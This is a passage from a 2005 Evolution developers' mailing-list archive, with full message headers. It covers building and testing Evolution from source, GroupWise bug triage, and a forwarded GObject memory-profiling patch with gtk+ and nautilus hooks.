within a reasonable time period. Obviously I > cannot wait to test a change by recompiling the source with every few > changes. There must be a much faster way of doing this that Evolution > programmers use but of which I am unaware. Do they build test scripts > that can test individual functions? One at a time? Such that they can > compile changes to the function quickly to test before incorporating > into the source code tree? > > Lastly what is a good way to keep any changes I make while also making > use of the latest stable builds to Evolution? Is it theoretically > possible to download the entire source, for me to create and run a Perl > or other script to patch the source code, and then to recompile so that > I get the best and greatest from Evolution while also incorporating my > changes. > > Any input on any or all of the above would be most appreciated. Some of > evolutions quirks are starting to drive me nuts yet I don't want to > cease using it since it's the best there is on Linux. > > Carlos > > > > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers From rodrigo@novell.com Wed Feb 23 13:01:26 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id C965012418D; Wed, 23 Feb 2005 13:01:26 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 7690512402F for ; Wed, 23 Feb 2005 13:01:15 -0500 (EST) Received: (qmail 29602 invoked from network); 23 Feb 2005 18:01:14 -0000 Received: from localhost (HELO cerler.home) (127.0.0.1) by localhost with SMTP; 23 Feb 2005 18:01:14 -0000 Subject: Re: [Evolution-hackers] How to incorporate and test changes to code - an overview?? From: Rodrigo Moya To: William Jon McCann Cc: Carlos Gonzalez , Evolution Hackers-List In-Reply-To: <421CC0BC.1010903@pha.jhu.edu> References: <1109113239.31590.41.camel@localhost.localdomain> <421CC0BC.1010903@pha.jhu.edu> Content-Type: text/plain Date: Wed, 23 Feb 2005 18:58:32 +0100 Message-Id: <1109181512.375.2.camel@cerler.home> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-22.3 required=5.0 tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 2005-02-23 at 12:43 -0500, William Jon McCann wrote: > Hello Carlos, > > You may find some good information here: > http://gnome.org/projects/evolution/developer.shtml > http://live.gnome.org/Evolution also has some information -- Rodrigo Moya From jpr@novell.com Wed Feb 23 16:05:55 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5962B124ABD; Wed, 23 Feb 2005 16:05:55 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 6FAAF124428 for ; Wed, 23 Feb 2005 16:05:43 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Wed, 23 Feb 2005 14:05:37 -0700 Subject: [Fwd: Re: [Evolution-hackers] evolution-groupwise-maintainers] From: JP Rosevear To: Evolution Hackers mailing list Content-Type: multipart/mixed; boundary="=-E+JbhAOZ/TlLbxvVl6ED" Organization: Novell, Inc. Date: Wed, 23 Feb 2005 16:05:23 -0500 Message-Id: <1109192724.1626.22.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,SIGNATURE_SHORT_SPARSE autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-E+JbhAOZ/TlLbxvVl6ED Content-Type: text/plain Content-Transfer-Encoding: 7bit (Not sure this made it to the list lists.x.c seems a little odd atm) -JP -- JP Rosevear Novell, Inc. --=-E+JbhAOZ/TlLbxvVl6ED Content-Disposition: inline Content-Description: Forwarded message - Re: [Evolution-hackers] evolution-groupwise-maintainers Content-Type: message/rfc822 Subject: Re: [Evolution-hackers] evolution-groupwise-maintainers From: JP Rosevear To: Harish Krishnaswamy Cc: ls@skeptopotamus.ximian.com, evolution-groupwise-maintainers@ximian.com In-Reply-To: <1109154327.24618.5.camel@emptyboat.blr.novell.com> References: <1108746179.6456.246.camel@bishop.rosevear.com> <011201c51951$bdae9db0$0301a8c0@executivesontheweb.local> <1109154327.24618.5.camel@emptyboat.blr.novell.com> Content-Type: text/plain Organization: Novell, Inc. Date: Wed, 23 Feb 2005 16:04:22 -0500 Message-Id: <1109192662.1626.20.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit On Wed, 2005-02-23 at 15:55 +0530, Harish Krishnaswamy wrote: > On Wed, 2005-02-23 at 02:45 +0000, JP Rosevear wrote: > > On Fri, 2005-02-18 at 12:02 -0500, JP Rosevear wrote: > > > I got this alias setup for bugzilla in case we want to assign groupwise > > > related bugs there some how. > > > > > > Personally I'd prefer to keep the groupwise bugs assigned to individual > > > components with the groupwise keyword rather than create a separate > > > product (the GroupWise product in their now was a broken attempt at > > > tracking some server issues) or separate component. We don't put IMAP > > > or POP bugs in a separate component. However it is a little different > > > in this case because we have a specific group working on these bugs and > > > there are currently a lot of them. We could transfer the groupwise > > > keyword bugs that aren't assigned specifically right now to > > > evolution-groupwise-maintainers and periodically make sure the > > > assignment is right. This would cut down the bug traffic to > > > evolution-mail-maintainers, evolution-calendar-maintainers, etc. > > > > Ok, sounds like you guys want a groupwise component. Evolution or EDS > > or both? > > > > -JP > > Sorry if my earlier mail did not convey my thoughts clearly. I said yes > for the new alias (evo-gw-maintainers)- not necessarily for the creation > of new gw component. Moved the bugs. Sorry for the bug spam all. -JP -- JP Rosevear Novell, Inc. --=-E+JbhAOZ/TlLbxvVl6ED-- From linux@software.dk Thu Feb 24 09:12:17 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5EFEE1245C4; Thu, 24 Feb 2005 09:12:17 -0500 (EST) Received: from cicero0.cybercity.dk (cicero0.cybercity.dk [212.242.40.52]) by lists.ximian.com (Postfix) with ESMTP id F20001241D8 for ; Thu, 24 Feb 2005 09:12:05 -0500 (EST) Received: from user4.cybercity.dk (user4.cybercity.dk [212.242.41.50]) by cicero0.cybercity.dk (Postfix) with ESMTP id 52F0D28F3C for ; Thu, 24 Feb 2005 15:12:03 +0100 (CET) Received: from [10.0.0.2] (port349.ds1-ro.adsl.cybercity.dk [217.157.164.166]) by user4.cybercity.dk (Postfix) with ESMTP id BB6625017E for ; Thu, 24 Feb 2005 15:12:02 +0100 (CET) From: Soren Mathiasen Reply-To: linux@software.dk To: evolution-hackers@lists.ximian.com Content-Type: text/plain Organization: SSM Software Date: Thu, 24 Feb 2005 15:11:57 +0100 Message-Id: <1109254317.10582.3.camel@localhost> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.4 required=5.0 tests=BAYES_01,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Open mail from commandline Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi, Is it possible to open up a specific mail in the Inbox from the command line ??? Cheers, Soren From Grand.Apeiron@gmx.net Thu Feb 24 10:36:04 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B8C2E124EB5; Thu, 24 Feb 2005 10:36:04 -0500 (EST) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by lists.ximian.com (Postfix) with SMTP id 0C4F41240D3 for ; Thu, 24 Feb 2005 10:35:53 -0500 (EST) Received: (qmail invoked by alias); 24 Feb 2005 15:35:51 -0000 Received: from 11-172-20-212.dsl.globvill.de (EHLO HAL-9006.gusanos-castillo) (212.20.172.11) by mail.gmx.net (mp010) with SMTP; 24 Feb 2005 16:35:51 +0100 X-Authenticated: #11895819 Subject: Re: [Evolution-hackers] Open mail from commandline From: Grand Apeiron To: evolution-hackers@lists.ximian.com In-Reply-To: <1109254317.10582.3.camel@localhost> References: <1109254317.10582.3.camel@localhost> Content-Type: text/plain Date: Thu, 24 Feb 2005 16:35:44 +0100 Message-Id: <1109259344.2478.20.camel@HAL-9006.gusanos-castillo> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-Spam-Status: No, hits=-22.0 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Thu, 2005-02-24 at 15:11 +0100, Soren Mathiasen wrote: > Hi, > > Is it possible to open up a specific mail in the Inbox from the command > line ??? > > Cheers, Soren > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers > Hi, as far as i know the mails are stored in an mbox format, at least when you receive mail via POP3 download. I am running evolution 2.0.3 and my mbfox files are stored somwhere under "~/.evolution/mail/local/Inbox.sbd". That was different when i was using evolution 1.4.x. If you can find your mbox files you should be able to open and read them via the mbox command. That information is only based on my personal experience. I am not an Evolution developer. With greetings from Munich, Grand Apeiron -- If I would be a tapeworm, I would prefer penguins. From jpr@novell.com Thu Feb 24 13:43:38 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 15C0D12444D; Thu, 24 Feb 2005 13:43:38 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id C8D4D12488A for ; Thu, 24 Feb 2005 13:43:25 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Thu, 24 Feb 2005 11:43:09 -0700 From: JP Rosevear To: Evolution Hackers mailing list Content-Type: multipart/mixed; boundary="=-TvoLGBQoiX0v0izqaGxa" Organization: Novell, Inc. Date: Thu, 24 Feb 2005 13:42:49 -0500 Message-Id: <1109270570.6458.15.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: Yes, hits=8.2 required=5.0 tests=MAILTO_TO_SPAM_ADDR,MAILTO_WITH_SUBJ,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] [Fwd: gobject patch to track memory use] Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-TvoLGBQoiX0v0izqaGxa Content-Type: text/plain Content-Transfer-Encoding: 7bit It would be cool if someone want to play around with this in evo/e-d-s. -JP -- JP Rosevear Novell, Inc. --=-TvoLGBQoiX0v0izqaGxa Content-Disposition: inline Content-Description: Forwarded message - gobject patch to track memory use Content-Type: message/rfc822 Return-path: Received: from HECTOR.novell.com [130.57.1.28] by sinclair.provo.novell.com; Thu, 24 Feb 2005 10:29:34 -0700 Received: from menubar.gnome.org (unverified [12.107.209.248]) by HECTOR.novell.com (Vircom SMTPRS 4.0.346.0) with ESMTP id ; Thu, 24 Feb 2005 10:30:05 -0700 Received: from localhost (unknown [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id AABA13B1BD9; Thu, 24 Feb 2005 12:26:04 -0500 (EST) Received: from menubar.gnome.org ([12.107.209.248]) by localhost (menubar.gnome.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 22366-08; Thu, 24 Feb 2005 12:26:04 -0500 (EST) Received: from menubar.gnome.org (localhost.localdomain [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id 8714E3B1BA8; Thu, 24 Feb 2005 12:24:38 -0500 (EST) X-Original-To: desktop-devel-list@gnome.org Delivered-To: desktop-devel-list@gnome.org Received: from localhost (unknown [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id 0ACE23B1B8A for ; Thu, 24 Feb 2005 12:24:10 -0500 (EST) Received: from menubar.gnome.org ([12.107.209.248]) by localhost (menubar.gnome.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 22236-02 for ; Thu, 24 Feb 2005 12:24:06 -0500 (EST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by menubar.gnome.org (Postfix) with ESMTP id C17003B1B92 for ; Thu, 24 Feb 2005 12:23:47 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.11/8.12.11) with ESMTP id j1OHNlAY001395 for ; Thu, 24 Feb 2005 12:23:47 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id j1OHNgK27860 for ; Thu, 24 Feb 2005 12:23:42 -0500 Received: from greebo (sebastian-int.corp.redhat.com [172.16.52.221]) by devserv.devel.redhat.com (8.12.11/8.12.11) with ESMTP id j1OHNfkh005954 for ; Thu, 24 Feb 2005 12:23:41 -0500 From: Alexander Larsson To: "desktop-devel-list@gnome.org" Content-Type: multipart/mixed; boundary="=-YY0425KxenlChQOSlMqp" Date: Thu, 24 Feb 2005 18:23:39 +0100 Message-Id: <1109265819.5633.172.camel@greebo> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new at gnome.org Subject: gobject patch to track memory use X-BeenThere: desktop-devel-list@gnome.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: GNOME Desktop Development List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: desktop-devel-list-bounces@gnome.org Errors-To: desktop-devel-list-bounces@gnome.org X-Virus-Scanned: by amavisd-new at gnome.org --=-YY0425KxenlChQOSlMqp Content-Type: text/plain Content-Transfer-Encoding: 7bit I spent some day today hacking up a patch to gobject that lets you track what types of GObjects are using memory. It keeps a list of all live objects, and when you send the process a SIGUSR2 it prints a memory profile. For the size it counts the basic size of the object plus all private data registered with the object. Furthermore it adds some API that lets you register a function to calculate the size an object uses. This is useful for objects that own memory allocations that are not GObjects. I also made a gtk+ patch using this to track the real size of GdkPixbuf object. Even without specific functions for all types this is quite useful, as you can see the object counts. I've already detected some strange things in nautilus with this. The top of the memory profile there looks like: GtkImage: 231 allocated at 104 base size bytes, 23 kb total size GstPadTemplate: 334 allocated at 76 base size bytes, 24 kb total size GtkSeparatorMenuItem: 284 allocated at 96 base size bytes, 26 kb total size NautilusIconCanvasItem: 502 allocated at 64 base size bytes, 31 kb total size GtkAccelLabel: 306 allocated at 168 base size bytes, 50 kb total size NautilusVFSFile: 1005 allocated at 128 base size bytes, 296 kb total size GdkPixbuf: 340 allocated at 52 base size bytes, 6409 kb total size (only NautilusVFSFile and GdkPixbuf have specific memuse functions here) Maybe people want to play around a bit with this. It seems there is some interest in memory profiling at the moment. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Alexander Larsson Red Hat, Inc alexl@redhat.com alla@lysator.liu.se He's an immortal vegetarian farmboy in drag. She's a radical winged safe cracker prone to fits of savage, blood-crazed rage. They fight crime! --=-YY0425KxenlChQOSlMqp Content-Disposition: attachment; filename=gobject-memuse.patch Content-Type: text/x-patch; name=gobject-memuse.patch; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Index: gobject/gtype.c =================================================================== RCS file: /cvs/gnome/glib/gobject/gtype.c,v retrieving revision 1.78 diff -u -p -r1.78 gtype.c --- gobject/gtype.c 1 Nov 2004 18:47:12 -0000 1.78 +++ gobject/gtype.c 24 Feb 2005 17:11:40 -0000 @@ -158,6 +158,7 @@ static void TypeNode *node); static gboolean type_node_is_a_L (TypeNode *node, TypeNode *iface_node); +static void install_mem_use_signal_handler (void); /* --- enumeration --- */ @@ -191,6 +192,7 @@ struct _TypeNode TypeData * volatile data; GQuark qname; GData *global_gdata; + GList *instances; union { IFaceEntry *iface_entries; /* for !iface types */ GType *prerequisistes; @@ -279,6 +281,7 @@ struct _InstanceData guint16 n_preallocs; GInstanceInitFunc instance_init; GMemChunk *mem_chunk; + GMemUseFunc mem_use; }; union _TypeData { @@ -1575,6 +1578,11 @@ g_type_create_instance (GType type) else instance = g_malloc0 (total_instance_size); /* fine without read lock */ + + G_WRITE_LOCK (&type_rw_lock); + node->instances = g_list_prepend (node->instances, instance); + G_WRITE_UNLOCK (&type_rw_lock); + if (node->data->instance.private_size) instance_real_class_set (instance, class); for (i = node->n_supers; i > 0; i--) @@ -1625,7 +1633,12 @@ g_type_free_instance (GTypeInstance *ins instance->g_class = NULL; #ifdef G_ENABLE_DEBUG memset (instance, 0xaa, type_total_instance_size_I (node)); /* debugging hack */ -#endif +#endif + + G_WRITE_LOCK (&type_rw_lock); + node->instances = g_list_remove (node->instances, instance); + G_WRITE_UNLOCK (&type_rw_lock); + if (node->data->instance.n_preallocs) { G_WRITE_LOCK (&type_rw_lock); @@ -2242,6 +2255,24 @@ g_type_register_fundamental (GType return NODE_TYPE (node); } +void +g_type_register_memuse_function (GType type, + GMemUseFunc memuse) +{ + TypeNode *node; + + node = lookup_type_node_I (type); + + if (node && node->is_instantiatable && node->data != NULL) + { + G_WRITE_LOCK (&type_rw_lock); + + node->data->instance.mem_use = memuse; + + G_WRITE_UNLOCK (&type_rw_lock); + } +} + GType g_type_register_static (GType parent_type, const gchar *type_name, @@ -3477,6 +3508,8 @@ g_type_init_with_debug_flags (GTypeDebug /* Signal system */ g_signal_init (); + + install_mem_use_signal_handler (); G_UNLOCK (type_init_lock); } @@ -3579,4 +3612,134 @@ g_type_instance_get_private (GTypeInstan } return G_STRUCT_MEMBER_P (instance, offset); +} + + +typedef struct { + const char *name; + gsize instance_size; + int n_allocated; + gsize total_size; +} NodeMemUse; + +static gint +compare_memuse (gconstpointer a, + gconstpointer b) +{ + const NodeMemUse *m1 = a; + const NodeMemUse *m2 = b; + gsize s1, s2; + + s1 = m1->total_size; + s2 = m2->total_size; + if (s1 < s2) + return -1; + if (s1 == s2) + return 0; + return 1; +} + +static void +report_mem_use_for_node (gpointer key, + gpointer value, + gpointer user_data) +{ + TypeNode *node; + gsize total_instance_size; + gsize total_size; + int n_allocated; + GType type; + GList **list, *l; + NodeMemUse *memuse; + int i; + + list = user_data; + + type = (GType)value; + node = lookup_type_node_I (type); + if (node == NULL || + !node->is_instantiatable || + node->data == NULL) + return; + + total_instance_size = type_total_instance_size_I (node); + if (node->data->instance.private_size) + total_instance_size = ALIGN_STRUCT (total_instance_size); + + memuse = g_new (NodeMemUse, 1); + memuse->name = NODE_NAME(node); + memuse->instance_size = total_instance_size; + + total_size = 0; + n_allocated = 0; + for (l = node->instances; l != NULL; l = l->next) + { + GTypeInstance *instance = l->data; + + for (i = 0; i < node->n_supers; i++) { + GType instance_type; + TypeNode *instance_node; + + instance_type = node->supers[i]; + instance_node = lookup_type_node_I (instance_type); + + if (instance_node != NULL && + instance_node->is_instantiatable && + instance_node->data != NULL && + instance_node->data->instance.mem_use != NULL) + total_size += instance_node->data->instance.mem_use (instance); + } + + n_allocated ++; + } + total_size += n_allocated * total_instance_size; + + memuse->n_allocated = n_allocated; + memuse->total_size = total_size; + + *list = g_list_append (*list, memuse); +} + +static void +report_mem_use (int i) +{ + GList *list, *l; + NodeMemUse *memuse; + + G_READ_LOCK (&type_rw_lock); + list = NULL; + g_hash_table_foreach (static_type_nodes_ht, report_mem_use_for_node, &list); + + list = g_list_sort (list, compare_memuse); + + for (l = list; l != NULL; l = l->next) + { + memuse = l->data; + + g_print ("%s: %d allocated at %lu base size bytes, %lu kb total size\n", + memuse->name, + memuse->n_allocated, + (gulong) memuse->instance_size, + (gulong) (memuse->total_size / 1024)); + + g_free (memuse); + } + g_list_free (list); + + G_READ_UNLOCK (&type_rw_lock); + +} + +#include + +static void +install_mem_use_signal_handler (void) +{ + struct sigaction action; + + action.sa_handler = report_mem_use; + sigemptyset (&action.sa_mask); + action.sa_flags = 0; + + sigaction(SIGUSR2, &action, NULL); } Index: gobject/gtype.h =================================================================== RCS file: /cvs/gnome/glib/gobject/gtype.h,v retrieving revision 1.60 diff -u -p -r1.60 gtype.h --- gobject/gtype.h 24 Oct 2004 01:22:29 -0000 1.60 +++ gobject/gtype.h 24 Feb 2005 17:11:40 -0000 @@ -221,6 +221,7 @@ typedef gboolean (*GTypeClassCacheFunc) GTypeClass *g_class); typedef void (*GTypeInterfaceCheckFunc) (gpointer check_data, gpointer g_iface); +typedef gsize (*GMemUseFunc) (GTypeInstance *instance); typedef enum /*< skip >*/ { G_TYPE_FLAG_CLASSED = (1 << 0), @@ -310,6 +311,8 @@ void g_type_class_add_private gsize private_size); gpointer g_type_instance_get_private (GTypeInstance *instance, GType private_type); +void g_type_register_memuse_function (GType type, + GMemUseFunc memuse); /* --- GType boilerplate --- */ --=-YY0425KxenlChQOSlMqp Content-Disposition: attachment; filename=gtk-memuse.patch Content-Type: text/x-patch; name=gtk-memuse.patch; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Index: gdk-pixbuf/gdk-pixbuf.c =================================================================== RCS file: /cvs/gnome/gtk+/gdk-pixbuf/gdk-pixbuf.c,v retrieving revision 1.64 diff -u -p -r1.64 gdk-pixbuf.c --- gdk-pixbuf/gdk-pixbuf.c 5 Nov 2004 01:43:31 -0000 1.64 +++ gdk-pixbuf/gdk-pixbuf.c 24 Feb 2005 17:11:53 -0000 @@ -59,6 +59,12 @@ enum static gpointer parent_class; +static gsize +pixbuf_memuse (GdkPixbuf *pixbuf) +{ + return pixbuf->rowstride * pixbuf->height; +} + GType gdk_pixbuf_get_type (void) { @@ -80,6 +86,8 @@ gdk_pixbuf_get_type (void) object_type = g_type_register_static (G_TYPE_OBJECT, "GdkPixbuf", &object_info, 0); + g_type_register_memuse_function (object_type, + (GMemUseFunc) pixbuf_memuse); } return object_type; --=-YY0425KxenlChQOSlMqp Content-Disposition: attachment; filename=nautilus-memuse.patch Content-Type: text/x-patch; name=nautilus-memuse.patch; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Index: libnautilus-private/nautilus-file.c =================================================================== RCS file: /cvs/gnome/nautilus/libnautilus-private/nautilus-file.c,v retrieving revision 1.362 diff -u -p -r1.362 nautilus-file.c --- libnautilus-private/nautilus-file.c 22 Feb 2005 10:41:46 -0000 1.362 +++ libnautilus-private/nautilus-file.c 24 Feb 2005 17:20:23 -0000 @@ -132,6 +132,39 @@ static gboolean update_info_and_name static char * nautilus_file_get_display_name_nocopy (NautilusFile *file); static char * nautilus_file_get_display_name_collation_key (NautilusFile *file); +static gsize +file_memuse (NautilusFile *file) +{ + gsize size; + NautilusFileDetails *details = file->details; + GList *l; + + if (details == NULL) + return 0; + + size = 0; + + size += eel_strlen (details->relative_uri) + 1; + size += eel_strlen (details->cached_display_name) + 1; + size += eel_strlen (details->display_name_collation_key) + 1; + if (details->info) + size += sizeof(GnomeVFSFileInfo); + + for (l = details->mime_list; l != NULL; l = l->next) { + size += sizeof(GList); + size += eel_strlen (l->data) + 1; + } + + size += eel_strlen (details->top_left_text); + size += eel_strlen (details->display_name); + size += eel_strlen (details->custom_icon); + size += eel_strlen (details->activation_uri); + size += eel_strlen (details->guessed_mime_type); + + return size; +} + + GType nautilus_file_get_type (void) { @@ -162,6 +195,8 @@ nautilus_file_get_type (void) g_type_add_interface_static (type, NAUTILUS_TYPE_FILE_INFO, &file_info_iface_info); + g_type_register_memuse_function (type, + (GMemUseFunc) file_memuse); } return type; --=-YY0425KxenlChQOSlMqp Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ desktop-devel-list mailing list desktop-devel-list@gnome.org http://mail.gnome.org/mailman/listinfo/desktop-devel-list --=-YY0425KxenlChQOSlMqp-- --=-TvoLGBQoiX0v0izqaGxa-- From spamfrommailing@freax.org Thu Feb 24 14:04:29 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8D49A1242FC; Thu, 24 Feb 2005 14:04:29 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 42DE9124053 for ; Thu, 24 Feb 2005 14:04:17 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id B716B1394A83; Thu, 24 Feb 2005 20:04:11 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 11924-01; Thu, 24 Feb 2005 20:04:03 +0100 (CET) Received: from lort (dD577524A.access.telenet.be [213.119.82.74]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id A5BB213944C5; Thu, 24 Feb 2005 20:04:02 +0100 (CET) Subject: Re: [Evolution-hackers] Information about hacking on Evolution From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: evolution-hackers@lists.ximian.com Cc: gnome-hackers@gnome.org In-Reply-To: <1108674763.9004.1.camel@localhost.localdomain> References: <1108674763.9004.1.camel@localhost.localdomain> Content-Type: text/plain Date: Thu, 24 Feb 2005 20:04:03 +0100 Message-Id: <1109271843.10747.7.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=-18.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Thu, 2005-02-17 at 22:12 +0100, Philip Van Hoof wrote: > I've updated this wiki a bit. Stuff like debugging a running Evolution > process has been hadded. > > http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS More updates in the scripts and the document has, on request of Rodrigo Moya and more or less also Jeff Waugh, been copied to http://live.gnome.org/BuildEvolutionFromSource I hope it's a more convenient location. And I hope Jeff Waugh is going to do something about that ugly stylesheet thats being used on live.gnome.org :-)! -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org From spamfrommailing@freax.org Thu Feb 24 16:18:53 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 0484C1246C2; Thu, 24 Feb 2005 16:18:53 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 51B12124647; Thu, 24 Feb 2005 16:18:41 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id 1C8361394A87; Thu, 24 Feb 2005 22:18:37 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 16250-01; Thu, 24 